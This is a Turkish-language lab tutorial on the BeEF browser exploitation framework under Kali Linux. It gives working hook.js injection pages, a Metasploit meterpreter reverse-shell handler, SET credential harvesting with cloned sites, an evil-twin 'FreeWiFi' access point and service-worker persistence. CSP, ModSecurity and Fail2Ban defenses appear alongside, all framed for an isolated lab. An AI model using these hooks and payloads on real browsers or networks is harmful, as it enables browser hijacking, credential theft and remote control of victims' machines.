🚀 BeEF (Browser Exploitation Framework) Kapsamlı Eğitimi
Platform: VMware + Kali Linux Süre: 3–4 saat
Seviye: Başlangıç - Orta
Hedef: Kali Linux üzerinde BeEF kullanarak tarayıcı güvenlik açıklarını tanımak, saldırı senaryolarını güvenli ortamda test etmek ve etkili savunma yöntemlerini öğrenmek.
⚠️ ÖNEMLİ YASAL UYARI
Bu eğitim materyali yalnızca eğitim amaçlıdır ve aşağıdaki koşullarda kullanılmalıdır:
- Sadece kendi sahip olduğunuz sistemlerde
- Yazılı izin aldığınız test ortamlarında
- Yasal penetrasyon testi kapsamında
- İzinsiz kullanım suçtur ve yasal sonuçları vardır
📌 1. Giriş ve Teorik Temeller (25 dk)
BeEF Nedir?
- Açılımı: Browser Exploitation Framework
- Geliştirici: Wade Alcorn ve BeEF Project Team
- Lisans: GPL v2
- Platform: Kali Linux native desteği
- Amaç: Web tarayıcılarının güvenlik zafiyetlerini göstermek ve istemci tarafı saldırılarını simüle etmek
Çalışma Mantığı
BeEF, tarayıcı tabanlı saldırıları gerçekleştirmek için üç aşamalı bir süreç kullanır:
- Hook Aşaması: Hedef bir web sayfasına JavaScript kodu (hook.js) enjekte edilir
- Bağlantı: Kurban bu sayfayı ziyaret ettiğinde tarayıcısı BeEF sunucusuna bağlanır
- Kontrol: BeEF panel üzerinden kurban tarayıcısına komutlar gönderilir ve kontrol sağlanır
Kali Linux'ta BeEF Avantajları
- Öntanımlı kurulum: Kali Linux ile birlikte gelir
- Otomatik bağımlılık çözümü: Tüm gereksinimler karşılanmış
- Service entegrasyonu: systemctl ile kolay yönetim
- Diğer araçlarla entegrasyon: Metasploit, Burp Suite, OWASP ZAP
Güvenlik Test Senaryoları
- XSS zafiyetlerinin etkisini göstermek
- Sosyal mühendislik saldırılarını simüle etmek
- İstemci tarafı güvenlik önlemlerini test etmek
- Kullanıcı farkındalığı eğitimi vermek
📌 2. VMware Lab Ortamı ve Kali Linux Kurulumu (30 dk)
VMware Workstation Lab Mimarisi
┌─────────────────────────────────────┐
│ VMware Workstation │
├─────────────────────────────────────┤
│ ┌─────────────┐ ┌─────────────┐ │
│ │ Kali Linux │ │ Victim VMs │ │
│ │ (Attacker) │ │ │ │
│ │ - BeEF │ │ - Windows │ │
│ │ - Metasploit│ │ - Ubuntu │ │
│ │ - Web Server│ │ - Browser │ │
│ └─────────────┘ └─────────────┘ │
└─────────────────────────────────────┘
VMnet8 (NAT Network)
192.168.100.0/24
Kali Linux VM Gereksinimleri
- RAM: Minimum 4GB (8GB önerilir)
- Storage: 50GB disk alanı
- CPU: 2 core minimum
- Network: VMnet8 (NAT) veya özel ağ
- Kali Sürümü: 2023.4 veya daha yeni
VMware Network Konfigürasyonu
# VMware'de NAT network ayarları
# Edit -> Virtual Network Editor
# VMnet8 seçin
# Subnet IP: 192.168.100.0
# Subnet mask: 255.255.255.0
# Gateway: 192.168.100.2
Kali Linux'ta BeEF Hazırlığı
# Sistem güncellemesi
sudo apt update && sudo apt upgrade -y
# BeEF durumunu kontrol et
dpkg -l | grep beef-xss
# BeEF servis durumu
sudo systemctl status beef-xss
# Manuel kurulum (gerekirse)
sudo apt install beef-xss -y
📌 3. BeEF Konfigürasyonu ve Başlatma (25 dk)
Kali Linux'ta BeEF Konfigürasyonu
# BeEF ana dizinine git
cd /usr/share/beef-xss
# Config dosyasını düzenle
sudo nano config.yaml
Kritik Konfigürasyon Ayarları
# /usr/share/beef-xss/config.yaml
beef:
version: '0.5.4.0'
debug: false
# Web Interface
http:
debug: false
host: "0.0.0.0"
port: 3000
public_host: "192.168.100.128" # Kali VM IP'niz
# Güvenlik
credentials:
user: "kali"
passwd: "kali123!"
# Database
database:
driver: "sqlite"
db_file: "beef.db"
# Extension ayarları
extension:
metasploit:
enable: true
host: "127.0.0.1"
callback_host: "192.168.100.128"
BeEF Servisini Başlatma
# Servis olarak başlatma
sudo systemctl start beef-xss
sudo systemctl enable beef-xss
# Manuel başlatma (debugging için)
cd /usr/share/beef-xss
sudo ./beef
# Port kontrolü
sudo ss -tlnp | grep 3000
sudo netstat -tlnp | grep 3000
# Process kontrolü
ps aux | grep beef
Kali Linux Firewall Ayarları
# UFW durumunu kontrol et
sudo ufw status
# BeEF portunu aç
sudo ufw allow 3000/tcp
# Iptables kuralı ekle
sudo iptables -A INPUT -p tcp --dport 3000 -j ACCEPT
sudo iptables-save > /etc/iptables/rules.v4
Web Panel Erişimi
- URL:
http://192.168.100.128:3000/ui/panel - Giriş:
kali:kali123!(konfigürasyona göre)
📌 4. BeEF Arayüzü ve Kali Linux Entegrasyonu (25 dk)
Kali Linux'ta BeEF Arayüz Özellikleri
Ana Panel Bileşenleri
- 🟢 Online Browsers: Aktif hook edilmiş tarayıcılar
- 🔴 Offline Browsers: Bağlantısı kesilen tarayıcılar
- Command Modules: Kali'ye özel modüller
- Logs: Sistem ve saldırı logları
Kali Linux'a Özel Hook Teknikleri
# Apache2 web server üzerinden hook servisi
sudo systemctl start apache2
# /var/www/html dizininde test sayfası oluştur
sudo nano /var/www/html/test.html
<!DOCTYPE html>
<html>
<head>
<title>Kali BeEF Test Sayfası</title>
<meta charset="UTF-8">
</head>
<body>
<h1>Güvenlik Test Laboratuvarı</h1>
<p>Bu sayfa Kali Linux BeEF eğitimi için hazırlanmıştır.</p>
<!-- BeEF Hook - Kali VM IP -->
<script src="http://192.168.100.128:3000/hook.js"></script>
</body>
</html>
Kali Tools ile Entegrasyon
# Metasploit entegrasyonu kontrol
msfconsole -q
msf6 > search beef
msf6 > use auxiliary/gather/browser_autopwn2
# Burp Suite proxy ayarları
# Proxy -> Options -> Proxy Listeners
# Add: 192.168.100.128:8080
# OWASP ZAP entegrasyonu
zaproxy
📌 5. Kali Linux'ta Temel Saldırı Senaryoları (45 dk)
🔹 Senaryo 1: Kali Apache2 ile Hook Dağıtımı
Adım 1: Apache2 Konfigürasyonu
# Apache2'yi başlat
sudo systemctl start apache2
sudo systemctl enable apache2
# Document root kontrol
ls -la /var/www/html/
# Hook sayfası hazırla
sudo cat > /var/www/html/hook-test.html << EOF
<!DOCTYPE html>
<html>
<head><title>Kali BeEF Hook Test</title></head>
<body>
<h2>Güvenlik Testi Devam Ediyor...</h2>
<script src="http://192.168.100.128:3000/hook.js"></script>
</body>
</html>
EOF
Adım 2: Victim VM'den Erişim
# Victim VM'de (test makinesi) tarayıcı açıp şu URL'e git:
# http://192.168.100.128/hook-test.html
# Kali'de BeEF panelini kontrol et
# http://192.168.100.128:3000/ui/panel
🔹 Senaryo 2: Kali Linux ile Network Reconnaissance
Internal Network Scanning
# BeEF Commands -> Network -> Network Fingerprinting
# Kali VM'den internal network keşfi
Kali Linux'ta Manuel Network Keşfi:
# Victim makinenin ağ bilgilerini öğren
nmap -sn 192.168.100.0/24
# BeEF ile tespit edilen IP'leri doğrula
nmap -sV -p 80,443,3000 192.168.100.0/24
🔹 Senaryo 3: Kali Linux Social Engineering Toolkit Entegrasyonu
SET ile BeEF Kombinasyonu
# Social Engineering Toolkit başlat
sudo setoolkit
# Website Attack Vectors
# 1) Java Applet Attack Method
# 2) Metasploit Browser Exploit Method
# 3) Credential Harvester Attack Method
BeEF + SET Credential Harvesting
# SET ile sahte site klonla
# BeEF hook.js'i enjekte et
# Kali'de her iki tool'u da monitör et
📌 6. Kali Linux'ta İleri Seviye Teknikler (50 dk)
🔹 Senaryo 4: Metasploit Framework Entegrasyonu
MSF Console'da BeEF Setup
# Metasploit başlat
sudo msfconsole
# BeEF auxiliary modülü
msf6 > use auxiliary/gather/browser_autopwn2
msf6 auxiliary(gather/browser_autopwn2) > set LHOST 192.168.100.128
msf6 auxiliary(gather/browser_autopwn2) > set SRVPORT 8080
msf6 auxiliary(gather/browser_autopwn2) > set URIPATH /exploit
msf6 auxiliary(gather/browser_autopwn2) > run
BeEF'ten MSF'ye Reverse Shell
# BeEF Commands -> Metasploit -> Create Reverse Shell Payload
# Payload Type: linux/x86/meterpreter/reverse_tcp
# LHOST: 192.168.100.128
# LPORT: 4444
# Kali'de MSF handler hazırla
msfconsole -q
use exploit/multi/handler
set payload linux/x86/meterpreter/reverse_tcp
set LHOST 192.168.100.128
set LPORT 4444
exploit
🔹 Senaryo 5: Kali Linux'ta Persistent Hooks
Service Worker Persistence
# BeEF Commands -> Persistence -> Service Worker
# Service Worker URL: http://192.168.100.128:3000/sw.js
Kali'de Log Monitoring
# BeEF loglarını izle
sudo tail -f /var/log/beef.log
# Apache access logları
sudo tail -f /var/log/apache2/access.log
# Network trafiği izle
sudo tcpdump -i vmnet8 port 3000
🔹 Senaryo 6: Kali Wi-Fi Pentest + BeEF
Evil Twin AP + BeEF Kombinasyonu
# Kali'de Evil Twin AP kur
sudo airmon-ng start wlan0
sudo airodump-ng wlan0mon
# Hostapd ile sahte AP
sudo nano /etc/hostapd/hostapd.conf
interface=wlan0
driver=nl80211
ssid=FreeWiFi
hw_mode=g
channel=7
wmm_enabled=0
macaddr_acl=0
auth_algs=1
ignore_broadcast_ssid=0
wpa=0
# AP başlat ve BeEF'i entegre et
sudo hostapd /etc/hostapd/hostapd.conf &
sudo dnsmasq -C /etc/dnsmasq.conf &
# Captive portal ile BeEF hook
📌 7. Kali Linux'ta Savunma Testleri (40 dk)
Kali Linux Security Tools ile Test
ModSecurity + Apache2 Test
# ModSecurity yükle
sudo apt install libapache2-mod-security2 -y
# ModSecurity aktifleştir
sudo a2enmod security2
sudo systemctl restart apache2
# XSS koruması test et
sudo nano /etc/modsecurity/modsecurity.conf
Fail2Ban ile BeEF Koruması
# Fail2Ban yükle
sudo apt install fail2ban -y
# BeEF için jail oluştur
sudo nano /etc/fail2ban/jail.local
[beef-xss]
enabled = true
port = 3000
filter = beef-xss
logpath = /var/log/beef.log
maxretry = 3
bantime = 3600
Browser Hardening Testleri
Kali'de Test Browser Kurulumu
# Firefox ESR hardening
firefox-esr --new-instance --profile /tmp/secure-profile
# Chrome hardening test
google-chrome --no-sandbox --disable-web-security --user-data-dir=/tmp/chrome-test
CSP Test Senaryoları
<!-- /var/www/html/csp-test.html -->
<!DOCTYPE html>
<html>
<head>
<meta http-equiv="Content-Security-Policy"
content="default-src 'self'; script-src 'self' 'nonce-abc123';">
<title>CSP Test</title>
</head>
<body>
<h1>CSP Koruması Test Sayfası</h1>
<!-- Bu çalışmayacak - CSP tarafından engellenecek -->
<script src="http://192.168.100.128:3000/hook.js"></script>
<!-- Bu çalışacak - nonce ile izin verilmiş -->
<script nonce="abc123">
console.log('CSP koruması aktif');
</script>
</body>
</html>
📌 8. Kali Linux'ta Sorun Giderme (20 dk)
Kali'ye Özel Sorun Giderme
BeEF Servisi Sorunları
# Servis durumu detaylı kontrol
sudo systemctl status beef-xss -l
# Manuel debug başlatma
cd /usr/share/beef-xss
sudo ruby beef -v
# Log dosyaları kontrol
sudo journalctl -u beef-xss -f
Network Connectivity Sorunları
# VMware network adapter kontrol
ip addr show
ifconfig
# VMnet8 bağlantısı test
ping 192.168.100.2 # VMware gateway
# Port binding kontrol
sudo ss -tlnp | grep :3000
sudo lsof -i :3000
Memory ve Performance Sorunları
# Kali VM kaynak kullanımı
htop
free -h
df -h
# BeEF process monitoring
ps aux | grep beef
top -p $(pgrep beef)
# VM memory ayarları (VMware)
# VM Settings -> Memory -> 8GB önerilir
Ruby Environment Sorunları
# Ruby sürüm kontrol
ruby --version
gem --version
# BeEF gem bağımlılıkları
cd /usr/share/beef-xss
bundle check
bundle install # Gerekirse
# Database sorunları
rm beef.db # Veritabanını sıfırla
./beef # Yeniden oluştur
📌 9. Kali Linux Lab Yönetimi (15 dk)
VMware Snapshot Yönetimi
# VM Snapshot alma (VMware Workstation)
# VM -> Snapshot -> Take Snapshot
# Name: "BeEF Lab Initial Setup"
# Snapshot geri yükleme
# VM -> Snapshot -> Revert to Snapshot
Kali Linux Lab Template
# Lab environment backup
sudo tar -czf /home/kali/beef-lab-backup.tar.gz \
/usr/share/beef-xss/config.yaml \
/var/www/html/ \
/etc/apache2/ \
/etc/hosts
# Lab restore
sudo tar -xzf /home/kali/beef-lab-backup.tar.gz -C /
Automated Lab Setup Script
#!/bin/bash
# /home/kali/beef-lab-setup.sh
echo "Kali Linux BeEF Lab Setup Starting..."
# Update system
sudo apt update
# Start services
sudo systemctl start beef-xss
sudo systemctl start apache2
# Configure firewall
sudo ufw allow 3000/tcp
sudo ufw allow 80/tcp
# Create test pages
sudo cp /home/kali/test-pages/* /var/www/html/
# Get IP address
IP=$(ip route get 1 | sed -n 's/^.*src \([0-9.]*\) .*$/\1/p')
echo "BeEF Panel: http://$IP:3000/ui/panel"
echo "Test Page: http://$IP/hook-test.html"
echo "Lab setup complete!"
# Script'i çalıştırılabilir yap
chmod +x /home/kali/beef-lab-setup.sh
./beef-lab-setup.sh
📌 10. Gerçek Dünya Senaryoları ve Raporlama (25 dk)
Kali Linux Penetration Testing Workflow
Engagement Simulation
# 1. Reconnaissance (Kali tools)
nmap -sC -sV target-network
nikto -h target-web-server
dirb http://target-web-server
# 2. Vulnerability Assessment
owasp-zap-cli quick-scan --spider http://target
sqlmap -u "http://target/page.php?id=1"
# 3. BeEF Integration
# XSS bulunduğunda BeEF hook enjekte et
# Tarayıcı kontrolü sağla
# Post-exploitation aktiviteleri yürüt
# 4. Reporting
# Kali'de otomatik rapor araçları kullan
Kali Linux Pentest Raporlama
# Faraday workspace oluştur
faraday-client
# BeEF bulgularını Faraday'e import et
# Custom Python script ile entegrasyon
#!/usr/bin/env python3
# beef-to-faraday.py
import requests
import json
from faradaylib.api import Api
# BeEF API'den veri çek
beef_api = "http://192.168.100.128:3000/api"
hooks_data = requests.get(f"{beef_api}/hooks").json()
# Faraday'e aktar
faraday_api = Api("http://localhost:5985")
for hook in hooks_data:
faraday_api.create_host(hook['ip'])
faraday_api.create_vuln(
name="Browser Exploitation (BeEF)",
desc=f"Browser compromised via BeEF hook",
severity="high",
host_id=hook['ip']
)
Executive Summary Template
# Kali Linux BeEF Penetration Test Sonuçları
## Executive Summary
Kali Linux üzerinde BeEF framework kullanılarak gerçekleştirilen
güvenlik testinde X adet tarayıcı ele geçirilmiş ve aşağıdaki
kritik bulgular tespit edilmiştir.
## Metodoloji
- Platform: VMware Workstation + Kali Linux 2023.4
- Tools: BeEF v0.5.4.0, Metasploit, Apache2
- Test Süresi: 4 saat
- Test Kapsamı: Web application client-side security
## Bulgular
### Yüksek Risk
- XSS vulnerability ile browser hijacking
- Credential harvesting başarılı
- Internal network reconnaissance
### Öneriler
- CSP implementasyonu
- XSS filtreleme
- Browser security hardening
📌 11. Kapanış ve Değerlendirme (15 dk)
Kali Linux + BeEF Öğrenilen Konular
- Kali Linux Platform Yönetimi: VMware integration, service management
- BeEF Framework Mastery: Installation, configuration, operation
- Attack Vector Implementation: XSS, social engineering, network recon
- Tool Integration: Metasploit, Apache2, SET combination
- Defense Testing: CSP, ModSecurity, Fail2Ban implementation
Kali Linux Beceri Değerlendirmesi
Eğitim sonunda katılımcılar şunları yapabilmelidir:
- ✅ Kali Linux'ta BeEF'i konfigüre edebilmek
- ✅ VMware lab ortamını yönetebilmek
- ✅ Apache2 ile hook dağıtabilmek
- ✅ Metasploit entegrasyonu kurabilmek
- ✅ Kali security tools ile savunma testleri yapabilmek
Kali Linux İleri Seviye Kaynakları
- Kali Training: https://kali.training
- BeEF GitHub: https://github.com/beefproject/beef
- Kali Documentation: https://www.kali.org/docs/
- VMware Labs: https://www.vmware.com/learning.html
⏱️ Kali Linux Odaklı Zaman Planı (3-4 Saat)
| Süre | Konu | Aktivite | Kali Linux Focus |
|---|---|---|---|
| 25 dk | Teorik Temeller | Sunum | Kali native BeEF advantages |
| 30 dk | VMware + Kali Setup | Hands-on | VM configuration + BeEF install |
| 25 dk | BeEF Konfigürasyonu | Config Files | Kali-specific settings |
| 25 dk | Arayüz + Entegrasyon | Demo | Kali tools integration |
| 45 dk | Temel Senaryolar | Guided Lab | Apache2 + BeEF scenarios |
| 50 dk | İleri Teknikler | Advanced Lab | MSF + SET + WiFi integration |
| 40 dk | Savunma Testleri | Security Lab | ModSecurity + Fail2Ban |
| 20 dk | Sorun Giderme | Troubleshooting | Kali-specific issues |
| 15 dk | Lab Yönetimi | VMware Mgmt | Snapshot + automation |
| 25 dk | Pentest Workflow | Real-world | Kali pentest methodology |
| 15 dk | Değerlendirme | Assessment | Kali expertise validation |
Toplam: 3.5-4 saat (Kali Linux molalar dahil)
📚 Kali Linux + BeEF Kaynakları
Kali Linux Resmi Kaynakları
VMware + Kali Integration
BeEF + Kali Specific Resources
📋 Kali Linux Lab Checklist
VMware Environment
- [ ] VMware Workstation Pro installed
- [ ] Kali Linux 2023.4+ ISO downloaded
- [ ] VM allocated 8GB RAM, 50GB storage
- [ ] VMnet8 NAT network configured
- [ ] Victim VMs prepared and isolated
Kali Linux Setup
- [ ] Kali Linux fully updated
- [ ] BeEF service status verified
- [ ] Apache2 installed and configured
- [ ] Network connectivity tested
- [ ] Firewall rules applied
BeEF Configuration
- [ ] config.yaml customized
- [ ] Credentials changed from default
- [ ] Public host IP configured
- [ ] Database initialized
- [ ] Web panel accessible
Lab Testing
- [ ] Hook deployment successful
- [ ] Basic commands working
- [ ] Metasploit integration tested
- [ ] Defense mechanisms validated
- [ ] Documentation completed
Bu dokümantasyon Kali Linux ve VMware Workstation özelinde hazırlanmış olup, en güncel Kali sürümleri ve BeEF framework ile uyumlu olacak şekilde sürekli güncellenmektedir.
Platform: VMware Workstation + Kali Linux Son Güncelleme: Ağustos 2025 Versiyon: 2.1-Kali Hazırlayan: Kali Linux BeEF Eğitim Ekibi